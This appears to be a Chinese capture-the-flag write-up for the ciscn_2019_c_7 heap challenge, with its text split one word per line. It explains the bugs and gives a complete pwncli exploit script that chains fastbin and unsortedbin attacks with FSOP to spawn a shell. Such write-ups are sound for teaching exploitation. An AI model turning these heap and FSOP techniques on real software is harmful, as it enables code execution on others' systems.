ciscn_2019_c_7
總結
主要是限制了
UAF
的
chunk
的大小為
0x20
,并且限制了
add
的次數,就很難受,并且題目用的還是
calloc
,沒有使用
tcache
。最後還是使用
fastbin attack
+
unsortedbin attack
+
FSOP
擷取到的
shell
。
-
用于修改fastbin attack
chunk size
-
unsortedbin attack
fast_global_max
-
利用FSOP
拿IO_str_finish
shell
題目分析
checksec
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsISPrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdsATOfd3bkFGazxCMx8VesATMfhHLlN3XnxCMwEzX0xiRGZkRGZ0Xy9GbvNGLpZTY1EmMZVDUSFTU4VFRR9Fd4VGdsYTMfVmepNHLrJXYtJXZ0F2dvwVZnFWbp1zczV2YvJHctM3cv1Ce-cmbw5SNlJzMmJGOmJTMllzN4AjZ1cTO2MmZjFTZ0kTMwYmZw8CX2AzLclDMxIDMy8CXn9Gbi9CXzV2Zh1WavwVbvNmLvR3YxUjL3M3Lc9CX6MHc0RHaiojIsJye.png)
結構體
逆向分析出
Servent
的結構體如下:
struct Servent
{
char *name;
uint64_t aggressivity; // 攻擊力
};
漏洞點
漏洞
1
:
recruite
中的
size
可以為負數,下面做減法就會得到一個很大的正數,這樣先把
money
搞到很大
2
expel
分支
3
:可以任意位址置為
0
,這個漏洞我沒用到。但是隐約猜到了用處。
别的漏洞就沒看到了。
利用過程
- 利用漏洞
将1
money
-
,修改某個2
chunk
,洩露出堆和size
位址libc
- 還是利用漏洞
,進行2
,打unsortedbin attack
global_max_fast
- 釋放一個很大的
,剛好覆寫掉chunk
_IO_list_all
- 利用
FSOP
shell
Exp
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def recruite(size:(tuple, list), name:(tuple, list)):
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(len(size)))
for i in range(len(size)):
p.sendlineafter("Input the name's size of this servent:\n", str(size[i]))
p.sendafter("Input the name of this servent:\n", name[i])
def expel(idx:int):
p.sendlineafter("Give me your choice:\n", "2")
p.sendlineafter("Tell me his index number:\n", str(idx))
p.recvuntil("Ok, I'll kill ")
msg = p.recvline()
info("msg recv: {}".format(msg))
return msg
def buy_weapon(weapon_type:int):
p.sendlineafter("Give me your choice:\n", "3")
p.sendlineafter("2.Excalibur --90000yuan\n", str(weapon_type))
def attack_boss(use_big_weapon='n'):
p.sendlineafter("Give me your choice:\n", "4")
msg = p.recvline()
if b"Do you want to use excalibur?" in msg:
p.sendline(use_big_weapon)
# 搞錢
p.sendlineafter("How much money do you want?\n", "-1")
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(-10000))
buy_weapon(2)
# 為堆風水布局
recruite([0x18, 0x18, 0x18, 0x2000], [flat(0, 0x21), flat(0, 0x21), flat(0, 0x21), flat({0x400:[[0, 0x21, 0, 0] * 2], 0x1410:[[0, 0x21, 0, 0] * 2]})])
expel(1)
expel(1)
# 洩露堆位址
leak_addr = expel(1)
heap_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x2a0
log_address("heap_base_addr", heap_base_addr)
# fastbin attack
for _ in range(5):
expel(1)
expel(0)
expel(1)
expel(0)
recruite([0x18], [flat([0, 0x21, heap_base_addr + 0x280], length=0x18)])
# change size
recruite([0x40, 0x18], ["a", flat(0, 0x71)])
for i in range(8):
expel(1)
# 改完size後得到一個大的chunk,釋放它
expel(0)
recruite([0x60], [flat({0:heap_base_addr + 0x2e0, 0x30: [0, 0x471]})])
expel(2)
# 洩露libc位址
leak_addr = expel(1)
libc_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x3ebca0
log_address("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
expel(0)
# unsortedbin attack
global_max_fast_offset = 0x3ed940
recruite([0x60], [flat({0x30:[0, 0x471, 0, libc_base_addr + global_max_fast_offset - 0x10]}, filler="\x00")])
expel(0)
str_jumps_offset = 0x3e8360
lock_offset = 0x3ed8c0
bin_sh_offset = 0x1b3e9a
payload = flat({
0x30: [0, 0x1441],
0x30+0x80: 0,
0x30+0x88: libc_base_addr + lock_offset, # lock
0x30+0xc0: 0,
0x30+0x28: 0xffffffffffffff, # write_ptr
0x30+0xd8: libc_base_addr + str_jumps_offset - 8, # IO_str_jumps
0x30+0x38: libc_base_addr + bin_sh_offset, # /bin/sh
0x30+0xe8: libc.sym['system']
}, filler="\x00")
recruite([0x460], [payload])
# 覆寫掉_IO_list_all
expel(3)
# 執行exit
attack_boss()
p.interactive()
構造大的
chunk
:
unsortedbin attack
:
覆寫掉
_IO_list_all
最後拿到
shell
引用與參考
1、My Blog
2、Ctf Wiki
3、pwncli